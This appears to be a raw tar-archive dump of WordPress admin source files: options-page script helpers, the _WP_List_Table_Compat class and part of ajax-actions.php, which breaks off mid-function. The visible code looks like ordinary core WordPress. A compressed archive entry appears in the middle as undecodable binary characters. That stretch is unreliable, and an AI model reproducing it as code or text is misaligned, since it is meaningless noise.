				fieldset = format.closest( 'fieldset' ),
				example = fieldset.find( '.example' ),
				spinner = fieldset.find( '.spinner' );

			// Debounce the event callback while users are typing.
			clearTimeout( $.data( this, 'timer' ) );
			$( this ).data( 'timer', setTimeout( function() {
				// If custom date is not empty.
				if ( format.val() ) {
					spinner.addClass( 'is-active' );

					$.post( ajaxurl, {
						action: 'date_format_custom' === format.attr( 'name' ) ? 'date_format' : 'time_format',
						date 	: format.val()
					}, function( d ) { spinner.removeClass( 'is-active' ); example.text( d ); } );
				}
			}, 500 ) );
		} );

		var languageSelect = $( '#WPLANG' );
		$( 'form' ).on( 'submit', function() {
			/*
			 * Don't show a spinner for English and installed languages,
			 * as there is nothing to download.
			 */
			if ( ! languageSelect.find( 'option:selected' ).data( 'installed' ) ) {
				$( '#submit', this ).after( '<span class="spinner language-install-spinner is-active" />' );
			}
		});
	} );
</script>
	<?php
}

/**
 * Display JavaScript on the page.
 *
 * @since 3.5.0
 */
function options_reading_add_js() {
	?>
<script type="text/javascript">
	jQuery( function($) {
		var section = $('#front-static-pages'),
			staticPage = section.find('input:radio[value="page"]'),
			selects = section.find('select'),
			check_disabled = function(){
				selects.prop( 'disabled', ! staticPage.prop('checked') );
			};
		check_disabled();
		section.find( 'input:radio' ).on( 'change', check_disabled );
	} );
</script>
	<?php
}

/**
 * Render the site charset setting.
 *
 * @since 3.5.0
 */
function options_reading_blog_charset() {
	echo '<input name="blog_charset" type="text" id="blog_charset" value="' . esc_attr( get_option( 'blog_charset' ) ) . '" class="regular-text" />';
	echo '<p class="description">' . __( 'The <a href="https://wordpress.org/documentation/article/wordpress-glossary/#character-set">character encoding</a> of your site (UTF-8 is recommended)' ) . '</p>';
}
class-wp-list-table-compat.php000064400000002731150275632050012335 0ustar00<?php
/**
 * Helper functions for displaying a list of items in an ajaxified HTML table.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 4.7.0
 */

/**
 * Helper class to be used only by back compat functions.
 *
 * @since 3.1.0
 */
class _WP_List_Table_Compat extends WP_List_Table {
	public $_screen;
	public $_columns;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @param string|WP_Screen $screen  The screen hook name or screen object.
	 * @param string[]         $columns An array of columns with column IDs as the keys
	 *                                  and translated column names as the values.
	 */
	public function __construct( $screen, $columns = array() ) {
		if ( is_string( $screen ) ) {
			$screen = convert_to_screen( $screen );
		}

		$this->_screen = $screen;

		if ( ! empty( $columns ) ) {
			$this->_columns = $columns;
			add_filter( 'manage_' . $screen->id . '_columns', array( $this, 'get_columns' ), 0 );
		}
	}

	/**
	 * Gets a list of all, hidden, and sortable columns.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_column_info() {
		$columns  = get_column_headers( $this->_screen );
		$hidden   = get_hidden_columns( $this->_screen );
		$sortable = array();
		$primary  = $this->get_default_primary_column_name();

		return array( $columns, $hidden, $sortable, $primary );
	}

	/**
	 * Gets a list of columns.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	public function get_columns() {
		return $this->_columns;
	}
}
class-wp-list-table-compat.php.php.tar.gz000064400000001361150275632050014325 0ustar00��UQO�0�7�Rj�R��`�����4$�)rc�;����;'vR�68Ejr���j�
Kb��LƩf�c*�h��"�)'�\�\����ĩ����;�d)�O��Fe^n<fS��|��m��������b�@�lgw6����U8�Ɩ���3�7o��~��Շ-8f�d�J��+i S(7� +./��#Tܲ��@�$�<���٧�%a9W�]I�+r��\iz��2��T�8��ə�i"(4�h7��w��VXK���J�,�r���ߢh��D۾jS&9?M���a��n-��� |��j)x
���5aro͓*Q��=���=���Uj����v��:K�Ixw��~��à�p�3��RW I���>��d��~���+x���Қ���w�m�?��7�-����E�4")XM��"'�����&�b���DA��������h6=���I�1��^p�#yʹM�򴭝F{wHYo`sn&I�5�f���]�:L]/�܁�r�0�4ɸ�L�`X��O���N�k҇c?+�u�0�`�
���x�=��Y�v?�c�9�n���t}1�OiR3[i��@�V����u�.35jV��w�v"g�2m�dݺ�q
X9�g�9�P�@jw�yA�ʕ�i�"e��M|4�r*uy��>s�4�0,�m����k�"�`��Ț��}��x�����^�Ş����Ռajax-actions.php000064400000450262150275632050007654 0ustar00<?php
/**
 * Administration API: Core Ajax handlers
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.1.0
 */

//
// No-privilege Ajax handlers.
//

/**
 * Handles the Heartbeat API in the no-privilege context via AJAX .
 *
 * Runs when the user is not logged in.
 *
 * @since 3.6.0
 */
function wp_ajax_nopriv_heartbeat() {
	$response = array();

	// 'screen_id' is the same as $current_screen->id and the JS global 'pagenow'.
	if ( ! empty( $_POST['screen_id'] ) ) {
		$screen_id = sanitize_key( $_POST['screen_id'] );
	} else {
		$screen_id = 'front';
	}

	if ( ! empty( $_POST['data'] ) ) {
		$data = wp_unslash( (array) $_POST['data'] );

		/**
		 * Filters Heartbeat Ajax response in no-privilege environments.
		 *
		 * @since 3.6.0
		 *
		 * @param array  $response  The no-priv Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen ID.
		 */
		$response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id );
	}

	/**
	 * Filters Heartbeat Ajax response in no-privilege environments when no data is passed.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The no-priv Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	$response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id );

	/**
	 * Fires when Heartbeat ticks in no-privilege environments.
	 *
	 * Allows the transport to be easily replaced with long-polling.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The no-priv Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	do_action( 'heartbeat_nopriv_tick', $response, $screen_id );

	// Send the current time according to the server.
	$response['server_time'] = time();

	wp_send_json( $response );
}

//
// GET-based Ajax handlers.
//

/**
 * Handles fetching a list table via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_fetch_list() {
	$list_class = $_GET['list_args']['class'];
	check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' );

	$wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) );
	if ( ! $wp_list_table ) {
		wp_die( 0 );
	}

	if ( ! $wp_list_table->ajax_user_can() ) {
		wp_die( -1 );
	}

	$wp_list_table->ajax_response();

	wp_die( 0 );
}

/**
 * Handles tag search via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_ajax_tag_search() {
	if ( ! isset( $_GET['tax'] ) ) {
		wp_die( 0 );
	}

	$taxonomy        = sanitize_key( $_GET['tax'] );
	$taxonomy_object = get_taxonomy( $taxonomy );

	if ( ! $taxonomy_object ) {
		wp_die( 0 );
	}

	if ( ! current_user_can( $taxonomy_object->cap->assign_terms ) ) {
		wp_die( -1 );
	}

	$search = wp_unslash( $_GET['q'] );

	$comma = _x( ',', 'tag delimiter' );
	if ( ',' !== $comma ) {
		$search = str_replace( $comma, ',', $search );
	}

	if ( str_contains( $search, ',' ) ) {
		$search = explode( ',', $search );
		$search = $search[ count( $search ) - 1 ];
	}

	$search = trim( $search );

	/**
	 * Filters the minimum number of characters required to fire a tag search via Ajax.
	 *
	 * @since 4.0.0
	 *
	 * @param int         $characters      The minimum number of characters required. Default 2.
	 * @param WP_Taxonomy $taxonomy_object The taxonomy object.
	 * @param string      $search          The search term.
	 */
	$term_search_min_chars = (int) apply_filters( 'term_search_min_chars', 2, $taxonomy_object, $search );

	/*
	 * Require $term_search_min_chars chars for matching (default: 2)
	 * ensure it's a non-negative, non-zero integer.
	 */
	if ( ( 0 == $term_search_min_chars ) || ( strlen( $search ) < $term_search_min_chars ) ) {
		wp_die();
	}

	$results = get_terms(
		array(
			'taxonomy'   => $taxonomy,
			'name__like' => $search,
			'fields'     => 'names',
			'hide_empty' => false,
			'number'     => isset( $_GET['number'] ) ? (int) $_GET['number'] : 0,
		)
	);

	/**
	 * Filters the Ajax term search results.
	 *
	 * @since 6.1.0
	 *
	 * @param string[]    $results         Array of term names.
	 * @param WP_Taxonomy $taxonomy_object The taxonomy object.
	 * @param string      $search          The search term.
	 */
	$results = apply_filters( 'ajax_term_search_results', $results, $taxonomy_object, $search );

	echo implode( "\n", $results );
	wp_die();
}

/**
 * Handles compression testing via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_compression_test() {
	if ( ! current_user_can( 'manage_options' ) ) {
		wp_die( -1 );
	}

	if ( ini_get( 'zlib.output_compression' ) || 'ob_gzhandler' === ini_get( 'output_handler' ) ) {
		// Use `update_option()` on single site to mark the option for autoloading.
		if ( is_multisite() ) {
			update_site_option( 'can_compress_scripts', 0 );
		} else {
			update_option( 'can_compress_scripts', 0, 'yes' );
		}
		wp_die( 0 );
	}

	if ( isset( $_GET['test'] ) ) {
		header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
		header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
		header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
		header( 'Content-Type: application/javascript; charset=UTF-8' );
		$force_gzip = ( defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP );
		$test_str   = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';

		if ( 1 == $_GET['test'] ) {
			echo $test_str;
			wp_die();
		} elseif ( 2 == $_GET['test'] ) {
			if ( ! isset( $_SERVER['HTTP_ACCEPT_ENCODING'] ) ) {
				wp_die( -1 );
			}

			if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate' ) && function_exists( 'gzdeflate' ) && ! $force_gzip ) {
				header( 'Content-Encoding: deflate' );
				$out = gzdeflate( $test_str, 1 );
			} elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip' ) && function_exists( 'gzencode' ) ) {
				header( 'Content-Encoding: gzip' );
				$out = gzencode( $test_str, 1 );
			} else {
				wp_die( -1 );
			}

			echo $out;
			wp_die();
		} elseif ( 'no' === $_GET['test'] ) {
			check_ajax_referer( 'update_can_compress_scripts' );
			// Use `update_option()` on single site to mark the option for autoloading.
			if ( is_multisite() ) {
				update_site_option( 'can_compress_scripts', 0 );
			} else {
				update_option( 'can_compress_scripts', 0, 'yes' );
			}
		} elseif ( 'yes' === $_GET['test'] ) {
			check_ajax_referer( 'update_can_compress_scripts' );
			// Use `update_option()` on single site to mark the option for autoloading.
			if ( is_multisite() ) {
				update_site_option( 'can_compress_scripts', 1 );
			} else {
				update_option( 'can_compress_scripts', 1, 'yes' );
			}
		}
	}

	wp_die( 0 );
}

/**
 * Handles image editor previews via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_imgedit_preview() {
	$post_id = (int) $_GET['postid'];
	if ( empty( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	check_ajax_referer( "image_editor-$post_id" );

	require_once ABSPATH . 'wp-admin/includes/image-edit.php';

	if ( ! stream_preview_image( $post_id ) ) {
		wp_die( -1 );
	}

	wp_die();
}

/**
 * Handles oEmbed caching via AJAX.
 *
 * @since 3.1.0
 *
 * @global WP_Embed $wp_embed
 */
function wp_ajax_oembed_cache() {
	$GLOBALS['wp_embed']->cache_oembed( $_GET['post'] );
	wp_die( 0 );
}

/**
 * Handles user autocomplete via AJAX.
 *
 * @since 3.4.0
 */
function wp_ajax_autocomplete_user() {
	if ( ! is_multisite() || ! current_user_can( 'promote_users' ) || wp_is_large_network( 'users' ) ) {
		wp_die( -1 );
	}

	/** This filter is documented in wp-admin/user-new.php */
	if ( ! current_user_can( 'manage_network_users' ) && ! apply_filters( 'autocomplete_users_for_site_admins', false ) ) {
		wp_die( -1 );
	}

	$return = array();

	/*
	 * Check the type of request.
	 * Current allowed values are `add` and `search`.
	 */
	if ( isset( $_REQUEST['autocomplete_type'] ) && 'search' === $_REQUEST['autocomplete_type'] ) {
		$type = $_REQUEST['autocomplete_type'];
	} else {
		$type = 'add';
	}

	/*
	 * Check the desired field for value.
	 * Current allowed values are `user_email` and `user_login`.
	 */
	if ( isset( $_REQUEST['autocomplete_field'] ) && 'user_email' === $_REQUEST['autocomplete_field'] ) {
		$field = $_REQUEST['autocomplete_field'];
	} else {
		$field = 'user_login';
	}

	// Exclude current users of this blog.
	if ( isset( $_REQUEST['site_id'] ) ) {
		$id = absint( $_REQUEST['site_id'] );
	} else {
		$id = get_current_blog_id();
	}

	$include_blog_users = ( 'search' === $type ? get_users(
		array(
			'blog_id' => $id,
			'fields'  => 'ID',
		)
	) : array() );

	$exclude_blog_users = ( 'add' === $type ? get_users(
		array(
			'blog_id' => $id,
			'fields'  => 'ID',
		)
	) : array() );

	$users = get_users(
		array(
			'blog_id'        => false,
			'search'         => '*' . $_REQUEST['term'] . '*',
			'include'        => $include_blog_users,
			'exclude'        => $exclude_blog_users,
			'search_columns' => array( 'user_login', 'user_nicename', 'user_email' ),
		)
	);

	foreach ( $users as $user ) {
		$return[] = array(
			/* translators: 1: User login, 2: User email address. */
			'label' => sprintf( _x( '%1$s (%2$s)', 'user autocomplete result' ), $user->user_login, $user->user_email ),
			'value' => $user->$field,
		);
	}

	wp_die( wp_json_encode( $return ) );
}

/**
 * Handles Ajax requests for community events
 *
 * @since 4.8.0
 */
function wp_ajax_get_community_events() {
	require_once ABSPATH . 'wp-admin/includes/class-wp-community-events.php';

	check_ajax_referer( 'community_events' );

	$search         = isset( $_POST['location'] ) ? wp_unslash( $_POST['location'] ) : '';
	$timezone       = isset( $_POST['timezone'] ) ? wp_unslash( $_POST['timezone'] ) : '';
	$user_id        = get_current_user_id();
	$saved_location = get_user_option( 'community-events-location', $user_id );
	$events_client  = new WP_Community_Events( $user_id, $saved_location );
	$events         = $events_client->get_events( $search, $timezone );
	$ip_changed     = false;

	if ( is_wp_error( $events ) ) {
		wp_send_json_error(
			array(
				'error' => $events->get_error_message(),
			)
		);
	} else {
		if ( empty( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) ) {
			$ip_changed = true;
		} elseif ( isset( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) && $saved_location['ip'] !== $events['location']['ip'] ) {
			$ip_changed = true;
		}

		/*
		 * The location should only be updated when it changes. The API doesn't always return
		 * a full location; sometimes it's missing the description or country. The location
		 * that was saved during the initial request is known to be good and complete, though.
		 * It should be left intact until the user explicitly changes it (either by manually
		 * searching for a new location, or by changing their IP address).
		 *
		 * If the location was updated with an incomplete response from the API, then it could
		 * break assumptions that the UI makes (e.g., that there will always be a description
		 * that corresponds to a latitude/longitude location).
		 *
		 * The location is stored network-wide, so that the user doesn't have to set it on each site.
		 */
		if ( $ip_changed || $search ) {
			update_user_meta( $user_id, 'community-events-location', $events['location'] );
		}

		wp_send_json_success( $events );
	}
}

/**
 * Handles dashboard widgets via AJAX.
 *
 * @since 3.4.0
 */
function wp_ajax_dashboard_widgets() {
	require_once ABSPATH . 'wp-admin/includes/dashboard.php';

	$pagenow = $_GET['pagenow'];
	if ( 'dashboard-user' === $pagenow || 'dashboard-network' === $pagenow || 'dashboard' === $pagenow ) {
		set_current_screen( $pagenow );
	}

	switch ( $_GET['widget'] ) {
		case 'dashboard_primary':
			wp_dashboard_primary();
			break;
	}
	wp_die();
}

/**
 * Handles Customizer preview logged-in status via AJAX.
 *
 * @since 3.4.0
 */
function wp_ajax_logged_in() {
	wp_die( 1 );
}

//
// Ajax helpers.
//

/**
 * Sends back current comment total and new page links if they need to be updated.
 *
 * Contrary to normal success Ajax response ("1"), die with time() on success.
 *
 * @since 2.7.0
 * @access private
 *
 * @param int $comment_id
 * @param int $delta
 */
function _wp_ajax_delete_comment_response( $comment_id, $delta = -1 ) {
	$total    = isset( $_POST['_total'] ) ? (int) $_POST['_total'] : 0;
	$per_page = isset( $_POST['_per_page'] ) ? (int) $_POST['_per_page'] : 0;
	$page     = isset( $_POST['_page'] ) ? (int) $_POST['_page'] : 0;
	$url      = isset( $_POST['_url'] ) ? sanitize_url( $_POST['_url'] ) : '';

	// JS didn't send us everything we need to know. Just die with success message.
	if ( ! $total || ! $per_page || ! $page || ! $url ) {
		$time           = time();
		$comment        = get_comment( $comment_id );
		$comment_status = '';
		$comment_link   = '';

		if ( $comment ) {
			$comment_status = $comment->comment_approved;
		}

		if ( 1 === (int) $comment_status ) {
			$comment_link = get_comment_link( $comment );
		}

		$counts = wp_count_comments();

		$x = new WP_Ajax_Response(
			array(
				'what'         => 'comment',
				// Here for completeness - not used.
				'id'           => $comment_id,
				'supplemental' => array(
					'status'               => $comment_status,
					'postId'               => $comment ? $comment->comment_post_ID : '',
					'time'                 => $time,
					'in_moderation'        => $counts->moderated,
					'i18n_comments_text'   => sprintf(
						/* translators: %s: Number of comments. */
						_n( '%s Comment', '%s Comments', $counts->approved ),
						number_format_i18n( $counts->approved )
					),
					'i18n_moderation_text' => sprintf(
						/* translators: %s: Number of comments. */
						_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
						number_format_i18n( $counts->moderated )
					),
					'comment_link'         => $comment_link,
				),
			)
		);
		$x->send();
	}

	$total += $delta;
	if ( $total < 0 ) {
		$total = 0;
	}

	// Only do the expensive stuff on a page-break, and about 1 other time per page.
	if ( 0 == $total % $per_page || 1 == mt_rand( 1, $per_page ) ) {
		$post_id = 0;
		// What type of comment count are we looking for?
		$status = 'all';
		$parsed = parse_url( $url );

		if ( isset( $parsed['query'] ) ) {
			parse_str( $parsed['query'], $query_vars );

			if ( ! empty( $query_vars['comment_status'] ) ) {
				$status = $query_vars['comment_status'];
			}

			if ( ! empty( $query_vars['p'] ) ) {
				$post_id = (int) $query_vars['p'];
			}

			if ( ! empty( $query_vars['comment_type'] ) ) {
				$type = $query_vars['comment_type'];
			}
		}

		if ( empty( $type ) ) {
			// Only use the comment count if not filtering by a comment_type.
			$comment_count = wp_count_comments( $post_id );

			// We're looking for a known type of comment count.
			if ( isset( $comment_count->$status ) ) {
				$total = $comment_count->$status;
			}
		}
		// Else use the decremented value from above.
	}

	// The time since the last comment count.
	$time    = time();
	$comment = get_comment( $comment_id );
	$counts  = wp_count_comments();

	$x = new WP_Ajax_Response(
		array(
			'what'         => 'comment',
			'id'           => $comment_id,
			'supplemental' => array(
				'status'               => $comment ? $comment->comment_approved : '',
				'postId'               => $comment ? $comment->comment_post_ID : '',
				/* translators: %s: Number of comments. */
				'total_items_i18n'     => sprintf( _n( '%s item', '%s items', $total ), number_format_i18n( $total ) ),
				'total_pages'          => ceil( $total / $per_page ),
				'total_pages_i18n'     => number_format_i18n( ceil( $total / $per_page ) ),
				'total'                => $total,
				'time'                 => $time,
				'in_moderation'        => $counts->moderated,
				'i18n_moderation_text' => sprintf(
					/* translators: %s: Number of comments. */
					_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
					number_format_i18n( $counts->moderated )
				),
			),
		)
	);
	$x->send();
}

//
// POST-based Ajax handlers.
//

/**
 * Handles adding a hierarchical term via AJAX.
 *
 * @since 3.1.0
 * @access private
 */
function _wp_ajax_add_hierarchical_term() {
	$action   = $_POST['action'];
	$taxonomy = get_taxonomy( substr( $action, 4 ) );
	check_ajax_referer( $action, '_ajax_nonce-add-' . $taxonomy->name );

	if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) {
		wp_die( -1 );
	}

	$names  = explode( ',', $_POST[ 'new' . $taxonomy->name ] );
	$parent = isset( $_POST[ 'new' . $taxonomy->name . '_parent' ] ) ? (int) $_POST[ 'new' . $taxonomy->name . '_parent' ] : 0;

	if ( 0 > $parent ) {
		$parent = 0;
	}

	if ( 'category' === $taxonomy->name ) {
		$post_category = isset( $_POST['post_category'] ) ? (array) $_POST['post_category'] : array();
	} else {
		$post_category = ( isset( $_POST['tax_input'] ) && isset( $_POST['tax_input'][ $taxonomy->name ] ) ) ? (array) $_POST['tax_input'][ $taxonomy->name ] : array();
	}

	$checked_categories = array_map( 'absint', (array) $post_category );
	$popular_ids        = wp_popular_terms_checklist( $taxonomy->name, 0, 10, false );

	foreach ( $names as $cat_name ) {
		$cat_name          = trim( $cat_name );
		$category_nicename = sanitize_title( $cat_name );

		if ( '' === $category_nicename ) {
			continue;
		}

		$cat_id = wp_insert_term( $cat_name, $taxonomy->name, array( 'parent' => $parent ) );

		if ( ! $cat_id || is_wp_error( $cat_id ) ) {
			continue;
		} else {
			$cat_id = $cat_id['term_id'];
		}

		$checked_categories[] = $cat_id;

		if ( $parent ) { // Do these all at once in a second.
			continue;
		}

		ob_start();

		wp_terms_checklist(
			0,
			array(
				'taxonomy'             => $taxonomy->name,
				'descendants_and_self' => $cat_id,
				'selected_cats'        => $checked_categories,
				'popular_cats'         => $popular_ids,
			)
		);

		$data = ob_get_clean();

		$add = array(
			'what'     => $taxonomy->name,
			'id'       => $cat_id,
			'data'     => str_replace( array( "\n", "\t" ), '', $data ),
			'position' => -1,
		);
	}

	if ( $parent ) { // Foncy - replace the parent and all its children.
		$parent  = get_term( $parent, $taxonomy->name );
		$term_id = $parent->term_id;

		while ( $parent->parent ) { // Get the top parent.
			$parent = get_term( $parent->parent, $taxonomy->name );
			if ( is_wp_error( $parent ) ) {
				break;
			}
			$term_id = $parent->term_id;
		}

		ob_start();

		wp_terms_checklist(
			0,
			array(
				'taxonomy'             => $taxonomy->name,
				'descendants_and_self' => $term_id,
				'selected_cats'        => $checked_categories,
				'popular_cats'         => $popular_ids,
			)
		);

		$data = ob_get_clean();

		$add = array(
			'what'     => $taxonomy->name,
			'id'       => $term_id,
			'data'     => str_replace( array( "\n", "\t" ), '', $data ),
			'position' => -1,
		);
	}

	ob_start();

	wp_dropdown_categories(
		array(
			'taxonomy'         => $taxonomy->name,
			'hide_empty'       => 0,
			'name'             => 'new' . $taxonomy->name . '_parent',
			'orderby'          => 'name',
			'hierarchical'     => 1,
			'show_option_none' => '&mdash; ' . $taxonomy->labels->parent_item . ' &mdash;',
		)
	);

	$sup = ob_get_clean();

	$add['supplemental'] = array( 'newcat_parent' => $sup );

	$x = new WP_Ajax_Response( $add );
	$x->send();
}

/**
 * Handles deleting a comment via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_comment() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

	$comment = get_comment( $id );

	if ( ! $comment ) {
		wp_die( time() );
	}

	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		wp_die( -1 );
	}

	check_ajax_referer( "delete-comment_$id" );
	$status = wp_get_comment_status( $comment );
	$delta  = -1;

	if ( isset( $_POST['trash'] ) && 1 == $_POST['trash'] ) {
		if ( 'trash' === $status ) {
			wp_die( time() );
		}

		$r = wp_trash_comment( $comment );
	} elseif ( isset( $_POST['untrash'] ) && 1 == $_POST['untrash'] ) {
		if ( 'trash' !== $status ) {
			wp_die( time() );
		}

		$r = wp_untrash_comment( $comment );

		// Undo trash, not in Trash.
		if ( ! isset( $_POST['comment_status'] ) || 'trash' !== $_POST['comment_status'] ) {
			$delta = 1;
		}
	} elseif ( isset( $_POST['spam'] ) && 1 == $_POST['spam'] ) {
		if ( 'spam' === $status ) {
			wp_die( time() );
		}

		$r = wp_spam_comment( $comment );
	} elseif ( isset( $_POST['unspam'] ) && 1 == $_POST['unspam'] ) {
		if ( 'spam' !== $status ) {
			wp_die( time() );
		}

		$r = wp_unspam_comment( $comment );

		// Undo spam, not in spam.
		if ( ! isset( $_POST['comment_status'] ) || 'spam' !== $_POST['comment_status'] ) {
			$delta = 1;
		}
	} elseif ( isset( $_POST['delete'] ) && 1 == $_POST['delete'] ) {
		$r = wp_delete_comment( $comment );
	} else {
		wp_die( -1 );
	}

	if ( $r ) {
		// Decide if we need to send back '1' or a more complicated response including page links and comment counts.
		_wp_ajax_delete_comment_response( $comment->comment_ID, $delta );
	}

	wp_die( 0 );
}

/**
 * Handles deleting a tag via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_tag() {
	$tag_id = (int) $_POST['tag_ID'];
	check_ajax_referer( "delete-tag_$tag_id" );

	if ( ! current_user_can( 'delete_term', $tag_id ) ) {
		wp_die( -1 );
	}

	$taxonomy = ! empty( $_POST['taxonomy'] ) ? $_POST['taxonomy'] : 'post_tag';
	$tag      = get_term( $tag_id, $taxonomy );

	if ( ! $tag || is_wp_error( $tag ) ) {
		wp_die( 1 );
	}

	if ( wp_delete_term( $tag_id, $taxonomy ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Handles deleting a link via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_link() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

	check_ajax_referer( "delete-bookmark_$id" );

	if ( ! current_user_can( 'manage_links' ) ) {
		wp_die( -1 );
	}

	$link = get_bookmark( $id );
	if ( ! $link || is_wp_error( $link ) ) {
		wp_die( 1 );
	}

	if ( wp_delete_link( $id ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Handles deleting meta via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_meta() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

	check_ajax_referer( "delete-meta_$id" );
	$meta = get_metadata_by_mid( 'post', $id );

	if ( ! $meta ) {
		wp_die( 1 );
	}

	if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $meta->post_id, $meta->meta_key ) ) {
		wp_die( -1 );
	}

	if ( delete_meta( $meta->meta_id ) ) {
		wp_die( 1 );
	}

	wp_die( 0 );
}

/**
 * Handles deleting a post via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_delete_post( $action ) {
	if ( empty( $action ) ) {
		$action = 'delete-post';
	}

	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	check_ajax_referer( "{$action}_$id" );

	if ( ! current_user_can( 'delete_post', $id ) ) {
		wp_die( -1 );
	}

	if ( ! get_post( $id ) ) {
		wp_die( 1 );
	}

	if ( wp_delete_post( $id ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Handles sending a post to the Trash via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_trash_post( $action ) {
	if ( empty( $action ) ) {
		$action = 'trash-post';
	}

	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	check_ajax_referer( "{$action}_$id" );

	if ( ! current_user_can( 'delete_post', $id ) ) {
		wp_die( -1 );
	}

	if ( ! get_post( $id ) ) {
		wp_die( 1 );
	}

	if ( 'trash-post' === $action ) {
		$done = wp_trash_post( $id );
	} else {
		$done = wp_untrash_post( $id );
	}

	if ( $done ) {
		wp_die( 1 );
	}

	wp_die( 0 );
}

/**
 * Handles restoring a post from the Trash via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_untrash_post( $action ) {
	if ( empty( $action ) ) {
		$action = 'untrash-post';
	}

	wp_ajax_trash_post( $action );
}

/**
 * Handles deleting a page via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_delete_page( $action ) {
	if ( empty( $action ) ) {
		$action = 'delete-page';
	}

	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	check_ajax_referer( "{$action}_$id" );

	if ( ! current_user_can( 'delete_page', $id ) ) {
		wp_die( -1 );
	}

	if ( ! get_post( $id ) ) {
		wp_die( 1 );
	}

	if ( wp_delete_post( $id ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Handles dimming a comment via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_dim_comment() {
	$id      = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	$comment = get_comment( $id );

	if ( ! $comment ) {
		$x = new WP_Ajax_Response(
			array(
				'what' => 'comment',
				'id'   => new WP_Error(
					'invalid_comment',
					/* translators: %d: Comment ID. */
					sprintf( __( 'Comment %d does not exist' ), $id )
				),
			)
		);
		$x->send();
	}

	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && ! current_user_can( 'moderate_comments' ) ) {
		wp_die( -1 );
	}

	$current = wp_get_comment_status( $comment );

	if ( isset( $_POST['new'] ) && $_POST['new'] == $current ) {
		wp_die( time() );
	}

	check_ajax_referer( "approve-comment_$id" );

	if ( in_array( $current, array( 'unapproved', 'spam' ), true ) ) {
		$result = wp_set_comment_status( $comment, 'approve', true );
	} else {
		$result = wp_set_comment_status( $comment, 'hold', true );
	}

	if ( is_wp_error( $result ) ) {
		$x = new WP_Ajax_Response(
			array(
				'what' => 'comment',
				'id'   => $result,
			)
		);
		$x->send();
	}

	// Decide if we need to send back '1' or a more complicated response including page links and comment counts.
